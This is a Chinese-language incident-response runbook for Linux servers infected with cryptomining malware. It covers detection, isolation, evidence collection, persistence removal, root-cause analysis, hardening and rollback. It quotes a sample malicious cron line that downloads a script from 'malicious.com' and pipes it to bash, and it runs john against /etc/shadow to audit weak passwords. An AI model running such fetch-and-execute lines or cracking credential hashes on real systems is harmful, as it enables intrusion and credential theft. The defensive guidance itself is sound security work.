服务器被挖矿了怎么办?应急响应与安全加固全记录
来源:马哥Linux运维(微信公众号)| 发布日期:2026-09-05 定位:标准流程 runbook——十一阶段应急响应全流程(发现→隔离→取证→定位→持久化分析→清除→根因→修复→加固→验证→监控),每步带命令、风险提醒和回滚方案。kinsing 木马真实案例复盘见 linux-mining-virus-investigation-guide,AIDE/rkhunter/auditd 检测工具深拆见 linux-intrusion-detection-guide。
挖矿木马是当前云服务器面临的主要安全威胁之一。攻击者通过漏洞利用、弱密码爆破、供应链投毒等方式植入挖矿程序,利用服务器 CPU、GPU 资源进行数字货币挖矿。挖矿木马不只是占用资源,还可能携带后门、rootkit、横向移动模块,长期潜伏后会造成更严重的安全事件。
一、典型表现与特征画像
典型表现:
- CPU 使用率持续 90% 以上
- 服务器响应变慢,业务接口超时
- 出现陌生进程名,例如 kdevtmpfsi、kworkerds、xmrig、minerd
- 网络连接中出现矿池地址
- 定时任务或启动脚本被植入恶意命令
- 系统日志中出现可疑登录记录
四维特征画像:
| 维度 | 特征 |
|---|---|
| 进程 | 进程名伪装成系统进程(kworker、systemd、sshd);进程路径位于 /tmp、/var/tmp、/dev/shm 等可写目录;启动参数含矿池或钱包地址;CPU 占用接近 100% |
| 网络 | 连接矿池域名或 IP,常见端口 3333、8080、14444、45560;使用加密流量难以明文识别;DNS 查询记录出现矿池域名 |
| 持久化 | 修改 crontab 定时任务;修改 /etc/rc.local、systemd service;修改 .bashrc、.bash_profile;在 /etc/init.d/ 或 /lib/systemd/system/ 植入启动脚本 |
| 文件 | 可执行文件无合法签名;时间戳异常;属主异常(普通用户属主却位于系统目录);文件名随机字符串或伪装系统文件 |
典型攻击链(7 环节):
初始入侵(漏洞/弱密码/供应链投毒)→ 权限提升(内核漏洞、SUID、sudo 配置错误)→ 持久化(定时任务、启动脚本、SSH 后门)→ 清理痕迹(清空或篡改日志、history)→ 执行挖矿(下载并运行挖矿程序)→ 对抗检测(隐藏进程、伪装进程名、监控并杀死安全工具进程)→ 横向移动(扫描内网、批量感染)。
二、应急响应五原则与总流程
五原则:
- 隔离优先 — 立即隔离受感染主机,防止横向扩散
- 保留证据 — 清理前保存关键日志、进程信息、网络连接信息
- 全面排查 — 不能只杀进程,必须清除持久化机制
- 根因分析 — 找到入侵途径,避免重复感染
- 安全加固 — 清理完成后必须进行安全加固
总流程(11 步):
发现异常 → 初步判断 → 隔离主机 → 保存证据 → 定位恶意进程 → 分析持久化机制 → 清除木马 → 修复入侵途径 → 安全加固 → 验证效果 → 持续监控
三、初步判断(5 项检查)
3.1 CPU 与进程
top -bn1 | head -20
ps aux --sort=-%cpu | head -20
# 搜索已知挖矿进程名(注意:木马通常会伪装进程名)
ps -ef | grep -v grep | grep -E "kdevtmpfsi|kworkerds|xmrig|minerd|cryptonight|monero"
# 查看父进程 PID、命令行参数、资源占用
ps -eo pid,ppid,cmd,%cpu,%mem --sort=-%cpu | head -30
3.2 网络连接
netstat -antp | grep ESTABLISHED
ss -antp | grep ESTABLISHED # ss 在较新发行版替代 netstat,输出更快
重点关注:连接境外 IP、连接非标准端口(3333/8080/14444/45560)、进程名可疑的连接。
3.3 定时任务
crontab -l
crontab -u root -l
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
# 遍历所有用户的定时任务
for user in $(cut -f1 -d: /etc/passwd); do
echo "User: $user"
crontab -u "$user" -l 2>/dev/null
done
3.4 启动脚本
cat /etc/rc.local
systemctl list-unit-files --type=service | grep enabled
ls -la /lib/systemd/system/ | grep -v "^d"
ls -la /etc/systemd/system/ | grep -v "^d"
ls -la /etc/init.d/
四、隔离主机(3 种方式,按影响面递进)
4.1 直接断网
ip link show # 查看网卡名称
ip link set eth0 down # 禁用网卡
⚠️ 会导致 SSH 断开,需通过带外管理(IPMI、云控制台 VNC)操作。
4.2 限制出站连接(不能完全断网时)
iptables -A OUTPUT -j DROP # 禁止所有出站
iptables -I OUTPUT -d 192.168.1.100 -j ACCEPT # 仅允许访问指定 IP(如内网监控服务器)
⚠️ 影响所有出站流量:DNS 查询、软件更新、日志上报等。
4.3 云平台安全组隔离
云控制台修改安全组:禁止所有出站流量 + 仅保留必要管理端口入站。不影响主机内操作,更安全,优先采用。
五、保存证据(清理前必做)
统一保存到 /root/evidence/,文件名带时间戳($(date +%Y%m%d_%H%M%S)):
| 证据类型 | 命令要点 |
|---|---|
| 进程信息 | ps -ef、ps aux、pstree -p 快照落盘 |
| 网络连接 | netstat -antp、ss -antp 快照落盘 |
| 定时任务 | crontab -l + 复制 /etc/crontab + cp -r /etc/cron.d + cp -r /var/spool/cron |
| 启动脚本 | 复制 /etc/rc.local + cp -r /etc/init.d + cp -r /lib/systemd/system + cp -r /etc/systemd/system |
| 日志文件 | 复制 /var/log/auth.log(Ubuntu)、/var/log/secure(CentOS)、messages、syslog |
| 用户配置 | 复制 /root/.bashrc、.bash_profile、/root/.ssh/authorized_keys |
⚠️ 发行版差异:CentOS 用 /var/log/secure,Ubuntu 用 /var/log/auth.log。
六、定位恶意进程
# 1) 按 CPU 定位
ps aux --sort=-%cpu | head -20
# 2) 进程详细信息(假设 PID=12345)
ps -fp 12345
ls -l /proc/12345/exe # 可执行文件真实路径
cat /proc/12345/cmdline | tr '\0' ' ' # 完整命令行(含特殊字符)
lsof -p 12345 # 打开的文件、连接、动态库
cat /proc/12345/environ | tr '\0' '\n' # 环境变量
pwdx 12345 # 工作目录
# 3) 网络连接与父进程链
netstat -antp | grep 12345
ss -antp | grep 12345
pstree -p | grep 12345
ps -o pid,ppid,cmd -p 12345 # 向上追溯父进程,找到启动源头
# 4) 检查进程文件(假设 /tmp/kdevtmpfsi)
file /tmp/kdevtmpfsi # 文件类型
md5sum /tmp/kdevtmpfsi && sha256sum /tmp/kdevtmpfsi # 哈希值用于威胁情报查询
strings /tmp/kdevtmpfsi | grep -E "http|pool|stratum|wallet|donate" # 提取矿池/钱包地址
ls -lh /tmp/kdevtmpfsi && stat /tmp/kdevtmpfsi # 大小、时间戳、权限、属主
七、分析持久化机制(5 类位置)
7.1 定时任务
crontab -l && cat /etc/crontab
ls -la /etc/cron.d/ /var/spool/cron/
重点关注三类恶意任务特征:
- 包含
curl、wget、chmod +x等下载执行命令 - 执行间隔很短(例如每分钟一次)
- 输出重定向到 /dev/null 隐藏执行结果
典型恶意任务示例:
*/5 * * * * curl -fsSL http://malicious.com/miner.sh | bash > /dev/null 2>&1
7.2 启动脚本
cat /etc/rc.local
grep -r "kdevtmpfsi" /etc/init.d/ /lib/systemd/system/ /etc/systemd/system/
systemctl list-unit-files --type=service | grep enabled # 逐个检查可疑服务
systemctl cat <服务名> # 查看服务配置内容
7.3 用户配置文件
cat /root/.bashrc /root/.bash_profile /root/.profile
grep -r "kdevtmpfsi" /home/*/.*rc /root/.*rc
7.4 SSH 后门
cat /root/.ssh/authorized_keys # 检查未知公钥
cat /etc/ssh/sshd_config | grep -v "^#" | grep -v "^$" # 检查配置是否被篡改
ps aux | grep sshd # 检查多个 sshd 进程,排除伪装 sshd 后门
7.5 其他持久化位置
ls -la /etc/profile.d/ # 系统级环境脚本目录
cat /etc/ld.so.preload # ⚠️ 检查是否注入恶意动态库(rootkit 常用手段)
ls -la /lib/x86_64-linux-gnu/ | grep -v "^l" | tail -20 # 系统库目录异常文件
ls -la /usr/lib64/ | grep -v "^l" | tail -20
八、清除木马(对应持久化位置逐一清除)
8.1 杀进程
kill -9 12345
pkill -9 kdevtmpfsi # 批量杀死同名进程
⚠️ 仅杀进程不够——不清除持久化机制,进程会被重新拉起。
8.2 删恶意文件
rm -f /tmp/kdevtmpfsi
find /tmp -type f -name "kdevtmpfsi*" -delete
find /var/tmp -type f -name "kdevtmpfsi*" -delete
find /dev/shm -type f -name "kdevtmpfsi*" -delete
⚠️ 删除前确认文件确实是恶意文件;find -delete 是破坏性操作,先不带 -delete 预览。
8.3 清定时任务
crontab -e # 手动编辑删除恶意行(推荐)
crontab -r # 清空当前用户全部任务(会连正常任务一起删,先备份)
rm -f /etc/cron.d/<恶意文件>
rm -f /var/spool/cron/<指定用户>
8.4 清启动脚本
vi /etc/rc.local # 编辑删除恶意命令
systemctl stop <恶意服务> && systemctl disable <恶意服务>
rm -f /lib/systemd/system/<恶意服务>.service /etc/systemd/system/<恶意服务>.service
systemctl daemon-reload
rm -f /etc/init.d/<恶意脚本>
update-rc.d <脚本名> remove # Debian/Ubuntu
chkconfig <脚本名> off # CentOS/RHEL
8.5 清用户配置与 SSH 后门
vi /root/.bashrc /root/.bash_profile # 删除恶意命令
vi /root/.ssh/authorized_keys # 删除未知公钥
vi /etc/ssh/sshd_config # 恢复被篡改的 SSH 配置
systemctl restart sshd
8.6 清动态库注入
vi /etc/ld.so.preload # 删除恶意路径行
ldconfig # 重新生成动态库缓存
九、分析入侵途径(6 个方向)
清除后必须找到入侵途径,否则会重复感染。
9.1 登录日志
last | head -50
lastb | head -50
grep "Accepted" /var/log/auth.log | tail -50 # Ubuntu/Debian
grep "Accepted" /var/log/secure | tail -50 # CentOS/RHEL
grep "Failed password" /var/log/auth.log | tail -50
异常信号:陌生 IP、凌晨等异常时间登录、短时间大量失败尝试、登录成功后立即执行可疑命令。
9.2 命令历史
cat /root/.bash_history | tail -100
for user in $(cut -f1 -d: /etc/passwd); do
home=$(eval echo "~$user")
if [ -f "$home/.bash_history" ]; then
echo "User: $user"
tail -50 "$home/.bash_history"
fi
done
重点关注含 curl、wget、chmod +x、/tmp/ 的命令、下载执行未知脚本、修改定时任务或启动脚本。
9.3 Web 应用日志
tail -1000 /var/log/nginx/access.log | grep -E "\.php|\.jsp|\.asp"
tail -1000 /var/log/nginx/error.log
重点关注:含 eval、base64_decode、system、exec 的请求;/../../../ 类异常路径;返回 200 的可疑请求。
9.4 弱密码
cat /etc/shadow | cut -d: -f1,2 # 查看密码哈希
john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow # 需安装 john
9.5 应用漏洞
nginx -v && apache2 -v && mysql --version && redis-server --version && docker --version
对照查询各组件已知漏洞。
9.6 开放端口
netstat -tuln && ss -tuln
重点关注不该对外开放的端口(MySQL 3306、Redis 6379)和未知服务监听端口。
十、修复入侵途径
| 措施 | 命令/要点 |
|---|---|
| 改弱密码 | passwd root;强密码:≥12 位、大小写+数字+特殊字符、不用常见密码和个人信息 |
| 禁用账户 | usermod -L <用户> 锁定;userdel -r <用户> 删除(-r 会删家目录,确认后再删) |
| 升级应用 | apt update && apt upgrade -y(Debian/Ubuntu);yum update -y(CentOS/RHEL)。⚠️ 先在测试环境验证 |
| 修复应用配置 | 修复 SQL 注入/命令注入/文件上传漏洞;禁用不必要功能模块;限制上传类型和大小;限制 Web 应用执行系统命令的权限 |
| 限制远程访问 | sshd_config 加 AllowUsers [email protected]/24;防火墙 iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT + 非该网段 DROP。⚠️ 配置错误可能锁死自己,先加当前 IP 或走带外管理 |
十一、安全加固(8 项)
11.1 SSH 加固
编辑 /etc/ssh/sshd_config:
PermitRootLogin prohibit-password # 禁用 root 密码登录
PasswordAuthentication no # 仅允许密钥登录
PermitEmptyPasswords no # 禁用空密码
MaxAuthTries 3 # 限制登录尝试次数
MaxStartups 10:30:60 # 限制并发未认证连接
Port 22022 # 修改默认端口(可选)
AllowUsers root admin # 限制登录用户
X11Forwarding no # 禁用 X11 转发
AllowTcpForwarding no # 禁用 TCP 转发
StrictModes yes # 启用严格模式
LoginGraceTime 60 # 登录超时
ClientAliveInterval 300 # 空闲超时
ClientAliveCountMax 2
⚠️ 修改前确保已配置密钥登录,否则会无法登录。
11.2 防火墙
iptables 基线(含暴力破解速率限制):
iptables -F && iptables -X && iptables -Z # 清空现有规则
iptables -P INPUT DROP && iptables -P FORWARD DROP && iptables -P OUTPUT ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
# SSH 连接速率限制(60 秒内第 4 次新建连接起 DROP)
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
# 保存
iptables-save > /etc/iptables/rules.v4 # Debian/Ubuntu
service iptables save # CentOS/RHEL
firewalld(CentOS/RHEL):systemctl enable --now firewalld → firewall-cmd --permanent --add-service=ssh/http/https → firewall-cmd --reload → firewall-cmd --list-all。
11.3 禁用不必要的服务
systemctl list-unit-files --type=service | grep enabled
systemctl disable <服务> && systemctl stop <服务>
11.4 SELinux / AppArmor
# CentOS/RHEL:/etc/selinux/config 设 SELINUX=enforcing,然后
setenforce 1
# Ubuntu/Debian
systemctl enable --now apparmor
⚠️ 可能导致应用无法运行,需逐步调整策略。
11.5 AIDE 文件完整性监控
apt install -y aide # 或 yum install -y aide
aideinit # 初始化数据库
aide --check # 检查完整性
11.6 fail2ban 入侵检测
apt install -y fail2ban
/etc/fail2ban/jail.local:
[DEFAULT]
bantime = 3600 # 封禁时间(秒)
findtime = 600 # 检测时间窗口(秒)
maxretry = 3 # 最大失败次数
banaction = iptables-multiport
[sshd]
enabled = true
port = 22
logpath = /var/log/auth.log # CentOS/RHEL 用 /var/log/secure
maxretry = 3
bantime = 3600
systemctl restart fail2ban
fail2ban-client status sshd # 查看封禁状态
fail2ban-client set sshd unbanip <IP> # 解除封禁
11.7 限制 cron 使用权限
/etc/cron.allow 写入允许使用 cron 的用户(如 root、admin),并删除 /etc/cron.deny。
11.8 限制编译工具
攻击者可能利用编译工具编译恶意程序:
chmod 700 /usr/bin/gcc /usr/bin/g++ /usr/bin/cc /usr/bin/make
⚠️ 影响从源码安装软件的场景。
十二、验证清理效果(8 项 + 持续监控)
| # | 验证项 | 命令 | 通过标准 |
|---|---|---|---|
| 1 | 进程 | ps aux --sort=-%cpu \| head -20;ps aux \| grep -E "kdevtmpfsi\|kworkerds\|xmrig\|minerd" |
无 CPU 异常进程、无已知挖矿进程 |
| 2 | 网络连接 | ss -antp \| grep ESTABLISHED;netstat -antp \| grep -E "3333\|8080\|14444\|45560" |
无矿池连接、矿池端口无外联 |
| 3 | 定时任务 | crontab -l、cat /etc/crontab、ls -la /etc/cron.d/ |
无恶意任务 |
| 4 | 启动脚本 | systemctl list-unit-files --type=service \| grep enabled、cat /etc/rc.local |
无恶意服务 |
| 5 | 文件系统 | find /tmp /var/tmp /dev/shm -type f -executable -ls |
可写目录无可疑可执行文件 |
| 6 | 日志 | tail -50 /var/log/auth.log(或 secure) |
无异常登录记录 |
| 7 | 系统性能 | top -bn1、free -h、df -h |
性能恢复正常 |
| 8 | 持续监控 | 监控 CPU/内存/磁盘/网络流量/进程/连接/登录记录 | 24 小时内未再出现异常可初步判断清理成功 |
十三、回滚方案(5 类误操作恢复)
| 误操作 | 恢复方法 |
|---|---|
| 误删定时任务 | crontab /root/evidence/crontab_<时间戳>.txt |
| 误删启动脚本 | 从 /root/evidence/ 复制回原位 + chmod +x + systemctl daemon-reload && enable && start |
| 误改用户配置 | 复制备份回 /root/.bashrc + source /root/.bashrc |
| SSH 配置错误锁死 | 带外管理(IPMI/云 VNC)登录修复;或 cp /etc/ssh/sshd_config.bak 恢复后 restart |
| 防火墙锁死 | iptables -F && -X + 默认策略全 ACCEPT;或 iptables-restore 恢复备份 |
十四、生产环境操作纪律(8 条)
- 业务影响评估 — 清理前评估:杀进程是否影响业务、改配置是否中断服务、隔离是否影响业务连续性
- 低峰窗口 — 避开业务高峰,提前通知相关团队,准备应急预案
- 分步操作 — 不要一次性执行所有清理:先隔离 → 保存证据后清理 → 逐步验证每步效果 → 发现问题立即回滚
- 备份关键数据 — 数据库数据、应用配置、日志、用户数据
- 双人协作 — 一人操作一人复核,操作前沟通确认,过程记录每步
- 应急预案 — 清理失败如何回滚、服务中断如何恢复、数据丢失如何从备份恢复
- 变更记录 — 记录每次变更的时间、内容、原因、结果
- 后续监控 — 前 24 小时密切监控,前 7 天每天检查关键指标,配置自动化告警
十五、风险提醒速查
| 类别 | 要点 |
|---|---|
| 清理操作 | 删文件/杀进程前确认是恶意的;删定时任务前备份;改 SSH 前确保有密钥登录;配防火墙前确认规则正确避免锁死 |
| 隔离操作 | 断网后 SSH 断开需带外管理;限出站影响 DNS/更新/日志上报;云安全组隔离前确认有其他管理方式 |
| 批量操作 | find -delete 先预览;pkill 可能误杀;rm -rf 仔细确认路径 |
| 配置变更 | 升级前测试环境验证;改内核参数前备份;SELinux/AppArmor 逐步调整 |
| 数据丢失 | userdel -r 删家目录需确认;清日志前确认不需要溯源 |
十六、按场景的排查路径(5 条)
- CPU 异常飙高:
ps aux --sort=-%cpu→ 进程详情(ps -fp、/proc/PID/exe)→ 进程网络连接 → 父进程链 →file/strings查文件 → 查持久化 → 清除并修复入侵途径 - 网络连接异常:
netstat/ss -antp | grep ESTABLISHED→ 识别可疑连接 PID → 进程详情与文件分析 → 查持久化 → 清除修复 - 登录日志异常:
last/lastb→ grep Accepted → 识别陌生 IP/异常时间 → 查该时段命令历史 → 检查是否植入木马 → 改密码/禁账户 → 配防火墙或 fail2ban - 定时任务异常:遍历所有用户任务 → 识别 curl/wget/chmod +x 特征 → 查看任务脚本内容 → 清除 → 检查启动脚本和用户配置文件(往往多处联动)
- 启动脚本异常:
systemctl list-unit-files | grep enabled→ 逐个systemctl cat→ 查 rc.local 与 /etc/init.d/ → 清除 → 检查定时任务和用户配置文件
十七、总结
挖矿木马应急响应是系统性工程,核心流程 11 步(见第二节)。关键要点:隔离优先、保留证据、全面清除(不能只杀进程)、根因分析(找到入侵途径避免重复感染)、安全加固。
常见持久化位置三件套:定时任务(crontab、/etc/cron.*、/var/spool/cron)、启动脚本(/etc/rc.local、systemd service、/etc/init.d/)、用户配置(.bashrc、.bash_profile、.ssh/authorized_keys)。
安全加固五方向:SSH 加固(禁密码登录/限 IP/改端口)、防火墙(限入站出站)、入侵检测(fail2ban/AIDE/监控告警)、账户管理(强密码/禁不必要账户)、应用加固(升级漏洞组件/禁不必要服务)。
挖矿木马清理是标,安全加固是本。 只清理不加固,会重复感染。只有找到根因、修复漏洞、提升安全基线,才能真正解决问题。
关联页面
| 页面 | 关联点 |
|---|---|
| linux-mining-virus-investigation-guide | 挖矿病毒排查清除实战(kinsing 木马真实案例,含入侵时间线推演与根因分析模板) |
| linux-hacked-server-emergency-response | 服务器被黑应急响应清单(断网不关机原则、ps/proc 对比查隐藏进程、应急报告模板) |
| linux-intrusion-detection-guide | 入侵检测体系深拆(AIDE 基线/rkhunter+chkrootkit/auditd 规则集/告警分级) |
| server-security-hardening-checklist | 新机器上线 20 项安全加固(本文第十一节加固项的上线前完整版) |
| ssh-brute-force-protection-guide | SSH 暴力破解防御纵深(公钥/fail2ban/2FA/连接限制参数详解) |
| cpu-spike-troubleshooting-guide | CPU 飙高通用排查方法论(挖矿是 CPU 异常的常见根因之一) |
| tcp-connection-attack-vs-bug | TCP 连接数爆表攻防鉴别(挖矿木马外联矿池的连接特征分析) |
| ssh-keys-directory-guide | ~/.ssh 各文件职责全解(authorized_keys 后门排查的密钥知识基础) |
| anti-brute-force-script | iptables/ufw 自动封禁脚本(本文 11.2 速率限制的自动化落地) |
| linux-firewall-comparison-guide | iptables/firewalld/nftables/ufw 四大防火墙对比与选型(11.2 防火墙配置的工具选型依据) |